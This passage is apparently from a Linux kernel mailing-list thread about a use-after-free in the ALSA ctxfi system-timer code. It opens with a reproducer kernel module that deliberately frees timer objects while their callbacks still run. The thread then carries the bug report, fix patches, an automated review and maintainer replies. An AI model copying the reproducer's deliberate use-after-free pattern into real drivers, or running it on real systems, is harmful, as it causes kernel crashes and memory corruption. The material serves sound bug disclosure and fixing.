MODULE_PARM_DESC(mode, "v3 or pcm");
/* ------------------------------------------------------------------ */
/* V3: timer_delete_sync_try() ignored -1 */
/* ------------------------------------------------------------------ */
struct v3_obj {
struct timer_list timer;
u64 cookie;
struct task_struct *thread;
};
static void v3_callback(struct timer_list *t)
{
struct v3_obj *v = container_of(t, struct v3_obj, timer);
/* Keep the callback alive long enough for the freeing CPU to run. */
mdelay(20);
pr_info(DRV ": v3 callback cookie=%#llx\n", v->cookie);
/* Second read after the delay: the object may already be freed. */
if (v->cookie == COOKIE)
pr_info(DRV ": v3 callback read-after-free survived\n");
}
static int v3_thread(void *arg)
{
struct v3_obj *v;
int i, ret;
for (i = 0; i < 8; i++) {
v = kzalloc(sizeof(*v), GFP_KERNEL);
if (!v)
return -ENOMEM;
v->cookie = COOKIE;
timer_setup(&v->timer, v3_callback, 0);
/* Pin the callback to CPU0; this thread runs on CPU1. */
add_timer_on(&v->timer, 0);
usleep_range(2000, 3000);
ret = timer_delete_sync_try(&v->timer);
pr_info(DRV ": v3 iter=%d delete_sync_try=%d\n", i, ret);
if (ret == -1) {
/* BUG: callback is running on CPU0; free it anyway. */
if (safe)
timer_delete_sync(&v->timer);
kfree(v);
} else {
timer_delete_sync(&v->timer);
kfree(v);
}
usleep_range(60000, 70000);
}
pr_info(DRV ": v3 done\n");
return 0;
}
/* ------------------------------------------------------------------ */
/* V4/V5: fake ALSA PCM with a driver-private dpcm and a timer */
/* ------------------------------------------------------------------ */
struct race_pcm {
struct timer_list timer;
struct snd_pcm_substream *substream;
u64 cookie;
bool respawn;
bool active;
};
static struct snd_card *race_card;
static struct platform_device *race_pdev;
static struct snd_pcm *race_pcm_dev;
static void race_pcm_timer(struct timer_list *t)
{
struct race_pcm *dpcm = container_of(t, struct race_pcm, timer);
struct snd_pcm_substream *s;
struct snd_pcm_runtime *victim_rt = NULL;
u64 cookie;
if (!dpcm->active)
return;
pr_info(DRV ": timer start dpcm=%px\n", dpcm);
/*
* V5 pattern: walk the link group without the group lock and read
* each member's runtime/private_data. V4 uses the same callback for
* the current stream; the delay widens the close/free window.
*/
cookie = dpcm->cookie;
if (cookie == COOKIE && dpcm->substream && dpcm->substream->runtime) {
snd_pcm_group_for_each_entry(s, dpcm->substream) {
struct snd_pcm_runtime *rt = READ_ONCE(s->runtime);
struct race_pcm *d = NULL;
if (rt)
d = READ_ONCE(rt->private_data);
if (d && d->cookie == COOKIE) {
/* Force the compiler to keep the load. */
barrier();
}
if (rt) {
(void)READ_ONCE(rt->dma_area);
if (s != dpcm->substream && !victim_rt)
victim_rt = rt;
}
/* A real driver also reports elapsed periods. */
if (rt)
snd_pcm_period_elapsed(s);
}
}
/* Widen the window between the callback's load and the free. */
mdelay(20);
if (victim_rt) {
struct race_pcm *d = READ_ONCE(victim_rt->private_data);
pr_info(DRV ": victim use rt=%px d=%px\n", victim_rt, d);
(void)READ_ONCE(victim_rt->dma_area);
}
pr_info(DRV ": timer end dpcm=%px\n", dpcm);
if (dpcm->respawn) {
if (!timer_pending(&dpcm->timer))
add_timer_on(&dpcm->timer, 0);
else
mod_timer(&dpcm->timer, jiffies + 1);
}
}
static void race_pcm_free(struct snd_pcm_runtime *runtime)
{
struct race_pcm *dpcm = runtime->private_data;
pr_info(DRV ": pcm private_free dpcm=%px\n", dpcm);
if (safe)
timer_shutdown_sync(&dpcm->timer);
kfree(dpcm);
}
static int race_pcm_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *dpcm;
dpcm = kzalloc(sizeof(*dpcm), GFP_KERNEL);
if (!dpcm)
return -ENOMEM;
dpcm->substream = substream;
dpcm->cookie = COOKIE;
timer_setup(&dpcm->timer, race_pcm_timer, 0);
runtime->private_data = dpcm;
runtime->private_free = race_pcm_free;
runtime->hw.info = SNDRV_PCM_INFO_MMAP |
SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_MMAP_VALID;
runtime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;
runtime->hw.rates = SNDRV_PCM_RATE_44100;
runtime->hw.rate_min = 44100;
runtime->hw.rate_max = 44100;
runtime->hw.channels_min = 2;
runtime->hw.channels_max = 2;
runtime->hw.buffer_bytes_max = 64 * 1024;
runtime->hw.period_bytes_min = 1024;
runtime->hw.period_bytes_max = 4096;
runtime->hw.periods_min = 2;
runtime->hw.periods_max = 8;
pr_info(DRV ": pcm open sub=%px dpcm=%px\n", substream, dpcm);
return 0;
}
static int race_pcm_close(struct snd_pcm_substream *substream)
{
pr_info(DRV ": pcm .close sub=%px\n", substream);
return 0;
}
static int race_pcm_ioctl(struct snd_pcm_substream *substream,
unsigned int cmd, void *arg)
{
pr_info(DRV ": pcm ioctl cmd=%u\n", cmd);
return snd_pcm_lib_ioctl(substream, cmd, arg);
}
static int race_pcm_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params)
{
pr_info(DRV ": hw_params rate=%u ch=%u fmt=%u period_bytes=%u buffer_bytes=%u\n",
params_rate(params), params_channels(params), params_format(params),
params_period_bytes(params), params_buffer_bytes(params));
return 0;
}
static int race_pcm_prepare(struct snd_pcm_substream *substream)
{
return 0;
}
static int race_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
struct race_pcm *dpcm = substream->runtime->private_data;
switch (cmd) {
case SNDRV_PCM_TRIGGER_START:
case SNDRV_PCM_TRIGGER_RESUME:
if (substream != race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream)
break;
dpcm->active = true;
dpcm->respawn = true;
if (!timer_pending(&dpcm->timer))
add_timer_on(&dpcm->timer, 0);
else
mod_timer(&dpcm->timer, jiffies + 1);
break;
case SNDRV_PCM_TRIGGER_STOP:
case SNDRV_PCM_TRIGGER_SUSPEND:
dpcm->active = false;
dpcm->respawn = false;
/* Deliberately not timer_delete_sync(): mirrors asihpi. */
timer_delete(&dpcm->timer);
break;
}
return 0;
}
static snd_pcm_uframes_t race_pcm_pointer(struct snd_pcm_substream *substream)
{
return 0;
}
static const struct snd_pcm_ops race_pcm_ops = {
.open = race_pcm_open,
.close = race_pcm_close,
.ioctl = race_pcm_ioctl,
.hw_params = race_pcm_hw_params,
.prepare = race_pcm_prepare,
.trigger = race_pcm_trigger,
.pointer = race_pcm_pointer,
};
static int __init sndpci_init(void)
{
struct task_struct *t;
int ret;
pr_info(DRV ": init mode=%s\n", mode);
if (!strcmp(mode, "v3")) {
t = kthread_create(v3_thread, NULL, "sndpci_v3");
if (IS_ERR(t))
return PTR_ERR(t);
kthread_bind(t, 1);
wake_up_process(t);
return 0;
}
race_pdev = platform_device_register_simple("sndpci_race", -1, NULL, 0);
if (IS_ERR(race_pdev))
return PTR_ERR(race_pdev);
ret = snd_card_new(&race_pdev->dev, 0, "SndPciRace", THIS_MODULE, 0, &race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_new failed: %d\n", ret);
return ret;
}
ret = snd_pcm_new(race_card, "SndPciRace", 0, 0, 2, &race_pcm_dev);
if (ret < 0) {
pr_err(DRV ": snd_pcm_new failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
snd_pcm_set_ops(race_pcm_dev, SNDRV_PCM_STREAM_CAPTURE,
&race_pcm_ops);
snd_pcm_lib_preallocate_pages_for_all(race_pcm_dev, SNDRV_DMA_TYPE_CONTINUOUS,
NULL, 64 * 1024, 64 * 1024);
ret = 0;
pr_info(DRV ": managed_buffer ret=%d dma_type=%d area=%px bytes=%zu\n", ret,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.dev.type,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.area,
race_pcm_dev->streams[SNDRV_PCM_STREAM_CAPTURE].substream->dma_buffer.bytes);
ret = snd_card_register(race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_register failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
pr_info(DRV ": card registered\n");
return 0;
}
static void __exit sndpci_exit(void)
{
pr_info(DRV ": exit\n");
if (race_card)
snd_card_free(race_card);
if (race_pdev)
platform_device_unregister(race_pdev);
}
module_init(sndpci_init);
module_exit(sndpci_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/pci lifetime-race reproducer (V3/V4/V5)");
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
2026-11-13 12:03 ` ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF) 徐晗翔
@ 2026-11-25 12:51 ` 徐晗翔
2026-11-25 13:05 ` sashiko-bot
2026-11-25 14:35 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:51 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
ct_systimer_prepare() served as both the prepare callback and the
free_instance callback and ignored the -1 return of
timer_delete_sync_try() (-1 means the callback is running on
another CPU and was NOT deleted); ct_timer_instance_free() then
kfree()d the instance while ct_systimer_callback() still
dereferenced ti->substream, substream->runtime, ti->apcm and
ti->position -- a UAF on a normal PCM close with use_system_timer=1.
Split the callbacks: keep ct_systimer_prepare() non-sleeping (it
also runs from ct_timer_prepare() under snd_pcm_prepare()'s stream
lock, where a sleeping wait would be 'scheduling while atomic'), and
give the free path its own ct_systimer_free() that calls
timer_shutdown_sync() before the instance is removed and kfree()d.
---
sound/pci/ctxfi/cttimer.c | 15 ++++++++++++++-
1 file changed, 14 insertions(+), 1 deletion(-)
diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
--- a/sound/pci/ctxfi/cttimer.c
+++ b/sound/pci/ctxfi/cttimer.c
@@ -111,11 +111,24 @@
static void ct_systimer_prepare(struct ct_timer_instance *ti)
{
+ /* keep the try variant here: this callback also runs from
+ * ct_timer_prepare() under snd_pcm_prepare()'s stream lock, where
+ * a sleeping wait would be a "scheduling while atomic" */
ct_systimer_stop(ti);
timer_delete_sync_try(&ti->timer);
}
-#define ct_systimer_free ct_systimer_prepare
+static void ct_systimer_free(struct ct_timer_instance *ti)
+{
+ /* the close/free path runs in process context and must wait for a
+ * callback that is already running on another CPU before the
+ * instance (and the PCM runtime / apcm it dereferences) is removed
+ * and kfree()d; timer_delete_sync_try() returns -1 in exactly that
+ * case without waiting, so a UAF followed. Use the full shutdown
+ * sync here, but do NOT route prepare through it. */
+ ct_systimer_stop(ti);
+ timer_shutdown_sync(&ti->timer);
+}
static const struct ct_timer_ops ct_systimer_ops = {
.init = ct_systimer_init,
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-13 20:03:25 (星期五)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
>
> `ct_systimer_prepare()` is used as both the prepare callback and the
> `free_instance` callback. It calls `timer_delete_sync_try()` and ignores the
> return value; `-1` means the timer callback is running on another CPU and the
> timer was NOT deleted. `ct_timer_instance_free()` then removes the instance
> and `kfree()`s it while `ct_systimer_callback()` can still dereference
> `ti->substream`, `ti->substream->runtime`, `ti->apcm`, and `ti->position`.
> A normal PCM close with `use_system_timer=1` can therefore produce a UAF of
> the timer instance, the PCM runtime, and the driver's private PCM object.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0, source analysis plus a QEMU/KASAN primitive reproducer.
> The reproducer uses the real exported `timer_delete_sync_try()` and a timer
> callback; it does not call the static ctxfi functions or emulate ctxfi
> hardware.
>
> * Mechanism
>
> `ct_systimer_callback()` (`sound/pci/ctxfi/cttimer.c:63-87`) reads
> `ti->substream`, `substream->runtime`, `ti->apcm`,
> `substream->ops->pointer`, `apcm->interrupt`, and `ti->position`; it takes
> `ti->lock` only near the end and may re-arm the timer.
>
> `ct_systimer_stop()` (`cttimer.c:105-110`) locks `ti->lock`, clears
> `ti->running`, and calls `timer_delete()`. `ct_systimer_prepare()`
> (`cttimer.c:112-116`) then does:
>
> ct_systimer_stop(ti);
> timer_delete_sync_try(&ti->timer);
>
> `#define ct_systimer_free ct_systimer_prepare` at line 118 makes the same
> function the `free_instance` callback, and `ct_systimer_ops.free_instance`
> is set at 120-126. `ct_timer_instance_free()` (`cttimer.c:360-373`) calls
> `atimer->ops->stop()`, then `free_instance()`, then `list_del()` under
> `list_lock`, then `kfree(ti)`.
>
> `timer_delete_sync_try()` (`kernel/time/timer.c:1488-1492`) returns 0 if the
> timer was not pending, 1 if it was pending and deactivated, and -1 if the
> callback is running on another CPU. It never waits. The return value is
> ignored here.
>
> The PCM close path is `snd_pcm_release_substream()`
> (`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()` ->
> `snd_pcm_detach_substream()` (`sound/core/pcm.c:978-1005`). The ctxfi
> `runtime->private_free` is `ct_atc_pcm_free_substream()`
> (`sound/pci/ctxfi/ctpcm.c:103-112`), which calls
> `ct_timer_instance_free(apcm->timer)` and then `kfree(apcm)`. Thus a
> callback running on another CPU can use `ti`, `ti->substream->runtime`, and
> `apcm` after they are freed.
>
> * Why the fix cannot simply sleep in ct_systimer_prepare()
>
> The same callback is also `ct_timer_ops.prepare`, called from
> `ct_timer_prepare()` while `snd_pcm_prepare()` holds
> `pcm_stream_lock_irq` (`pcm_native.c:2042-2050`). Replacing the try with a
> sleeping `timer_delete_sync()` there would cause "scheduling while atomic".
> The prepare path must keep a non-sleeping delete/try; the close/free path
> needs a separate method.
>
> * Trigger model
>
> `use_system_timer=1` (module parameter; default is false), open/prepare a
> PCM, let the system timer callback run, then close the PCM while the
> callback is still active on another CPU. SMP/preemption required.
> Consequence: UAF in timer softirq; crash or memory corruption.
>
> * Dynamic evidence
>
> `sndpci_race.c`, mode `v3`, runs the real
> `timer_delete_sync_try()`; when it returns -1 the test frees the object while
> the callback is in `mdelay()`. Show 16 KASAN reports:
>
> sndpci_race: v3 iter=0 delete_sync_try=-1
> BUG: KASAN: slab-use-after-free in v3_callback
> ...
> Allocated by task 86: v3_thread
> Freed by task 86: kfree -> v3_thread
>
>
>
> * Suggested direction
>
> Split the callbacks: keep `ct_systimer_prepare()` non-sleeping for the
> prepare path, and add a separate `ct_systimer_free()` for close/free that
> first clears the callback/running state and then calls
> `timer_shutdown_sync(&ti->timer)` (or `timer_delete_sync()`), before the
> instance list removal and `kfree(ti)`. Do not call the sleeping helper from
> the PCM prepare path.
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
2026-11-25 12:51 ` [PATCH] " 徐晗翔
@ 2026-11-25 13:05 ` sashiko-bot
2026-11-25 14:35 ` Takashi Iwai
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:05 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 3 potential
issues to consider:
- [High] ALSA: ctxfi: missing Signed-off-by trailer in commit message
- [Medium] ALSA: ctxfi: ct_systimer_prepare() skips timer sync on false
lock claim
- [Low] ALSA: ctxfi: missing Fixes trailer in commit message
--
commit e750bb6cd03b9a9826e84cf3cb74558902482fe7
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
>
> ct_systimer_prepare() served as both the prepare callback and the
> free_instance callback and ignored the -1 return of
> timer_delete_sync_try() (-1 means the callback is running on
> another CPU and was NOT deleted); ct_timer_instance_free() then
> kfree()d the instance while ct_systimer_callback() still
> dereferenced ti->substream, substream->runtime, ti->apcm and
> ti->position -- a UAF on a normal PCM close with use_system_timer=1.
>
> Split the callbacks: keep ct_systimer_prepare() non-sleeping (it
> also runs from ct_timer_prepare() under snd_pcm_prepare()'s stream
> lock, where a sleeping wait would be 'scheduling while atomic'), and
> give the free path its own ct_systimer_free() that calls
> timer_shutdown_sync() before the instance is removed and kfree()d.
[Severity: High]
The commit message is missing a Signed-off-by: trailer.
[Severity: Low]
Since this fixes a bug, should the commit message include a Fixes: tag?
Fixes: b7bbf876087e ("ALSA: ctxfi - Use native timer interrupt on emu20k1")
> diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> index 9d6f5df2bc7ef..ad463321cac2e 100644
> --- a/sound/pci/ctxfi/cttimer.c
> +++ b/sound/pci/ctxfi/cttimer.c
> @@ -111,11 +111,24 @@ static void ct_systimer_stop(struct ct_timer_instance *ti)
>
> static void ct_systimer_prepare(struct ct_timer_instance *ti)
> {
> + /* keep the try variant here: this callback also runs from
> + * ct_timer_prepare() under snd_pcm_prepare()'s stream lock, where
> + * a sleeping wait would be a "scheduling while atomic" */
> ct_systimer_stop(ti);
> timer_delete_sync_try(&ti->timer);
> }
>
> -#define ct_systimer_free ct_systimer_prepare
> +static void ct_systimer_free(struct ct_timer_instance *ti)
> +{
> + /* the close/free path runs in process context and must wait for a
> + * callback that is already running on another CPU before the
> + * instance (and the PCM runtime / apcm it dereferences) is removed
> + * and kfree()d; timer_delete_sync_try() returns -1 in exactly that
> + * case without waiting, so a UAF followed. Use the full shutdown
> + * sync here, but do NOT route prepare through it. */
> + ct_systimer_stop(ti);
> + timer_shutdown_sync(&ti->timer);
> +}
[Severity: Medium]
Should ct_systimer_prepare() use timer_delete_sync() instead of
timer_delete_sync_try()?
snd_pcm_prepare() drops the stream lock before invoking the .prepare
callback via snd_pcm_action_nonatomic():
sound/core/pcm_native.c:snd_pcm_prepare() {
scoped_guard(pcm_stream_lock_irq, substream) {
...
}
return snd_pcm_action_nonatomic(&snd_pcm_action_prepare,
substream,
(snd_pcm_state_t)f_flags);
}
All three callers of ct_timer_prepare() in sound/pci/ctxfi/ctatc.c
(atc_pcm_playback_prepare(), atc_pcm_capture_prepare() and
spdif_passthru_playback_prepare()) already run in sleepable process
context and take atc->atc_mutex right before calling ct_timer_prepare().
With timer_delete_sync_try(&ti->timer) ignoring a -1 return when
ct_systimer_callback() is running on another CPU, ct_timer_prepare() and
a following ct_timer_start() can race with the in-flight callback:
CPU0 CPU1
ct_timer_prepare(ti) ct_systimer_callback()
ct_systimer_prepare(ti) ...
ct_systimer_stop(ti)
timer_delete_sync_try() -> -1
ti->position = 0;
ti->running = 0;
ct_timer_start(ti)
ct_systimer_start(ti)
ti->running = 1;
mod_timer(&ti->timer, ...)
apcm->interrupt(apcm);
ti->position = position;
<-- clobbers reset position
if (ti->running)
mod_timer(&ti->timer, ...)
<-- re-arms with stale interval
Calling timer_delete_sync(&ti->timer) in ct_systimer_prepare() waits for
any running callback while still allowing the timer to be re-armed on the
next start.
--
Sashiko AI review · https://sashiko.dev/#/patchset/20f42cfd.589.1a212c337be.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
2026-11-25 12:51 ` [PATCH] " 徐晗翔
2026-11-25 13:05 ` sashiko-bot
@ 2026-11-25 14:35 ` Takashi Iwai
2026-11-26 2:13 ` 徐晗翔
1 sibling, 1 reply; 101+ messages in thread
From: Takashi Iwai @ 2026-11-25 14:35 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Wed, 25 Nov 2026 13:51:53 +0100,
徐晗翔 wrote:
>
> ct_systimer_prepare() served as both the prepare callback and the
> free_instance callback and ignored the -1 return of
> timer_delete_sync_try() (-1 means the callback is running on
> another CPU and was NOT deleted); ct_timer_instance_free() then
> kfree()d the instance while ct_systimer_callback() still
> dereferenced ti->substream, substream->runtime, ti->apcm and
> ti->position -- a UAF on a normal PCM close with use_system_timer=1.
>
> Split the callbacks: keep ct_systimer_prepare() non-sleeping (it
> also runs from ct_timer_prepare() under snd_pcm_prepare()'s stream
> lock, where a sleeping wait would be 'scheduling while atomic'), and
> give the free path its own ct_systimer_free() that calls
> timer_shutdown_sync() before the instance is removed and kfree()d.
> ---
> sound/pci/ctxfi/cttimer.c | 15 ++++++++++++++-
> 1 file changed, 14 insertions(+), 1 deletion(-)
>
> diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> --- a/sound/pci/ctxfi/cttimer.c
> +++ b/sound/pci/ctxfi/cttimer.c
> @@ -111,11 +111,24 @@
>
> static void ct_systimer_prepare(struct ct_timer_instance *ti)
> {
> + /* keep the try variant here: this callback also runs from
> + * ct_timer_prepare() under snd_pcm_prepare()'s stream lock, where
> + * a sleeping wait would be a "scheduling while atomic" */
> ct_systimer_stop(ti);
> timer_delete_sync_try(&ti->timer);
> }
>
> -#define ct_systimer_free ct_systimer_prepare
> +static void ct_systimer_free(struct ct_timer_instance *ti)
> +{
> + /* the close/free path runs in process context and must wait for a
> + * callback that is already running on another CPU before the
> + * instance (and the PCM runtime / apcm it dereferences) is removed
> + * and kfree()d; timer_delete_sync_try() returns -1 in exactly that
> + * case without waiting, so a UAF followed. Use the full shutdown
> + * sync here, but do NOT route prepare through it. */
> + ct_systimer_stop(ti);
> + timer_shutdown_sync(&ti->timer);
> +}
>
> static const struct ct_timer_ops ct_systimer_ops = {
> .init = ct_systimer_init,
The code change makes sense, but please try to reduce the redundant
comment text.
Then add Signed-off-by tag and resubmit.
thanks,
Takashi
>
>
> > -----原始邮件-----
> > 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> > 发送时间:2026-11-13 20:03:25 (星期五)
> > 收件人: perex@perex.cz, tiwai@suse.com
> > 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> > 主题: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
> >
> > `ct_systimer_prepare()` is used as both the prepare callback and the
> > `free_instance` callback. It calls `timer_delete_sync_try()` and ignores the
> > return value; `-1` means the timer callback is running on another CPU and the
> > timer was NOT deleted. `ct_timer_instance_free()` then removes the instance
> > and `kfree()`s it while `ct_systimer_callback()` can still dereference
> > `ti->substream`, `ti->substream->runtime`, `ti->apcm`, and `ti->position`.
> > A normal PCM close with `use_system_timer=1` can therefore produce a UAF of
> > the timer instance, the PCM runtime, and the driver's private PCM object.
> >
> > The detailed description:
> >
> > * Test environment / affected version
> >
> > Linux 7.3.0, source analysis plus a QEMU/KASAN primitive reproducer.
> > The reproducer uses the real exported `timer_delete_sync_try()` and a timer
> > callback; it does not call the static ctxfi functions or emulate ctxfi
> > hardware.
> >
> > * Mechanism
> >
> > `ct_systimer_callback()` (`sound/pci/ctxfi/cttimer.c:63-87`) reads
> > `ti->substream`, `substream->runtime`, `ti->apcm`,
> > `substream->ops->pointer`, `apcm->interrupt`, and `ti->position`; it takes
> > `ti->lock` only near the end and may re-arm the timer.
> >
> > `ct_systimer_stop()` (`cttimer.c:105-110`) locks `ti->lock`, clears
> > `ti->running`, and calls `timer_delete()`. `ct_systimer_prepare()`
> > (`cttimer.c:112-116`) then does:
> >
> > ct_systimer_stop(ti);
> > timer_delete_sync_try(&ti->timer);
> >
> > `#define ct_systimer_free ct_systimer_prepare` at line 118 makes the same
> > function the `free_instance` callback, and `ct_systimer_ops.free_instance`
> > is set at 120-126. `ct_timer_instance_free()` (`cttimer.c:360-373`) calls
> > `atimer->ops->stop()`, then `free_instance()`, then `list_del()` under
> > `list_lock`, then `kfree(ti)`.
> >
> > `timer_delete_sync_try()` (`kernel/time/timer.c:1488-1492`) returns 0 if the
> > timer was not pending, 1 if it was pending and deactivated, and -1 if the
> > callback is running on another CPU. It never waits. The return value is
> > ignored here.
> >
> > The PCM close path is `snd_pcm_release_substream()`
> > (`sound/core/pcm_native.c:2785-2805`) -> `snd_pcm_drop()` ->
> > `snd_pcm_detach_substream()` (`sound/core/pcm.c:978-1005`). The ctxfi
> > `runtime->private_free` is `ct_atc_pcm_free_substream()`
> > (`sound/pci/ctxfi/ctpcm.c:103-112`), which calls
> > `ct_timer_instance_free(apcm->timer)` and then `kfree(apcm)`. Thus a
> > callback running on another CPU can use `ti`, `ti->substream->runtime`, and
> > `apcm` after they are freed.
> >
> > * Why the fix cannot simply sleep in ct_systimer_prepare()
> >
> > The same callback is also `ct_timer_ops.prepare`, called from
> > `ct_timer_prepare()` while `snd_pcm_prepare()` holds
> > `pcm_stream_lock_irq` (`pcm_native.c:2042-2050`). Replacing the try with a
> > sleeping `timer_delete_sync()` there would cause "scheduling while atomic".
> > The prepare path must keep a non-sleeping delete/try; the close/free path
> > needs a separate method.
> >
> > * Trigger model
> >
> > `use_system_timer=1` (module parameter; default is false), open/prepare a
> > PCM, let the system timer callback run, then close the PCM while the
> > callback is still active on another CPU. SMP/preemption required.
> > Consequence: UAF in timer softirq; crash or memory corruption.
> >
> > * Dynamic evidence
> >
> > `sndpci_race.c`, mode `v3`, runs the real
> > `timer_delete_sync_try()`; when it returns -1 the test frees the object while
> > the callback is in `mdelay()`. Show 16 KASAN reports:
> >
> > sndpci_race: v3 iter=0 delete_sync_try=-1
> > BUG: KASAN: slab-use-after-free in v3_callback
> > ...
> > Allocated by task 86: v3_thread
> > Freed by task 86: kfree -> v3_thread
> >
> >
> >
> > * Suggested direction
> >
> > Split the callbacks: keep `ct_systimer_prepare()` non-sleeping for the
> > prepare path, and add a separate `ct_systimer_free()` for close/free that
> > first clears the callback/running state and then calls
> > `timer_shutdown_sync(&ti->timer)` (or `timer_delete_sync()`), before the
> > instance list removal and `kfree(ti)`. Do not call the sleeping helper from
> > the PCM prepare path.
> >
> >
> > Please keep me in Cc; I am not subscribed to the lists.
> >
> >
> > Regards,
> > Hanxiang Xu
> > xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
2026-11-25 14:35 ` Takashi Iwai
@ 2026-11-26 2:13 ` 徐晗翔
2026-11-26 2:27 ` sashiko-bot
2026-11-26 7:54 ` Takashi Iwai
0 siblings, 2 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-11-26 2:13 UTC (permalink / raw)
To: Takashi Iwai; +Cc: perex, tiwai, linux-sound, linux-kernel
Hi,
thanks for the review.
Also, sorry for the potentially slow follow-ups: I have been quite busy
lately, so I will get to the other reported issues (the rest of the sound-core series) one by one with their patches in a while.
Signed-off-by: <Hanxiang Xu> <xuhx@hust.edu.cn>
---
sound/pci/ctxfi/cttimer.c | 8 +++++++-
1 file changed, 7 insertions(+), 1 deletion(-)
diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
--- a/sound/pci/ctxfi/cttimer.c
+++ b/sound/pci/ctxfi/cttimer.c
@@ -111,11 +111,17 @@
static void ct_systimer_prepare(struct ct_timer_instance *ti)
{
+ /* non-sleeping: also runs under the PCM stream lock */
ct_systimer_stop(ti);
timer_delete_sync_try(&ti->timer);
}
-#define ct_systimer_free ct_systimer_prepare
+static void ct_systimer_free(struct ct_timer_instance *ti)
+{
+ /* may sleep: wait for a callback running on another CPU */
+ ct_systimer_stop(ti);
+ timer_shutdown_sync(&ti->timer);
+}
static const struct ct_timer_ops ct_systimer_ops = {
.init = ct_systimer_init,
--
> -----原始邮件-----
> 发件人: "Takashi Iwai" <tiwai@suse.de>
> 发送时间:2026-11-25 22:35:15 (星期三)
> 收件人: 徐晗翔 <xuhx@hust.edu.cn>
> 抄送: perex@perex.cz, tiwai@suse.com, linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: Re: [PATCH] Re: ALSA: ctxfi: do not free a running system timer when timer_delete_sync_try() returns -1 (UAF)
>
> On Wed, 25 Nov 2026 13:51:53 +0100,
> 徐晗翔 wrote:
> >
> > ct_systimer_prepare() served as both the prepare callback and the
> > free_instance callback and ignored the -1 return of
> > timer_delete_sync_try() (-1 means the callback is running on
> > another CPU and was NOT deleted); ct_timer_instance_free() then
> > kfree()d the instance while ct_systimer_callback() still
> > dereferenced ti->substream, substream->runtime, ti->apcm and
> > ti->position -- a UAF on a normal PCM close with use_system_timer=1.
> >
> > Split the callbacks: keep ct_systimer_prepare() non-sleeping (it
> > also runs from ct_timer_prepare() under snd_pcm_prepare()'s stream
> > lock, where a sleeping wait would be 'scheduling while atomic'), and
> > give the free path its own ct_systimer_free() that calls
> > timer_shutdown_sync() before the instance is removed and kfree()d.
> > ---
> > sound/pci/ctxfi/cttimer.c | 15 ++++++++++++++-
> > 1 file changed, 14 insertions(+), 1 deletion(-)
> >
> > diff --git a/sound/pci/ctxfi/cttimer.c b/sound/pci/ctxfi/cttimer.c
> > --- a/sound/pci/ctxfi/cttimer.c
> > +++ b/sound/pci/ctxfi/cttimer.c
> > @@ -111,11 +111,24 @@
> >
> > static void ct_systimer_prepare(struct ct_timer_instance *ti)
> > {
> > + /* keep the try variant here: this callback also runs from
> > + * ct_timer_prepare() under snd_pcm_prepare()'s stream lock, where
> > + * a sleeping wait would be a "scheduling while atomic" */
> > ct_systimer_stop(ti);
> > timer_delete_sync_try(&ti->timer);
> > }
> >
> > -#define ct_systimer_free ct_systimer_prepare
> > +static void ct_systimer_free(struct ct_timer_instance *ti)
> > +{
> > + /* the close/free path runs in process context and must wait for a
> > + * callback that is already running on another CPU before the
> > + * instance (and the PCM runtime / apcm it dereferences) is removed
> > + * and kfree()d; timer_delete_sync_try() returns -1 in exactly that
> > + * case without waiting, so a UAF followed. Use the full shutdown
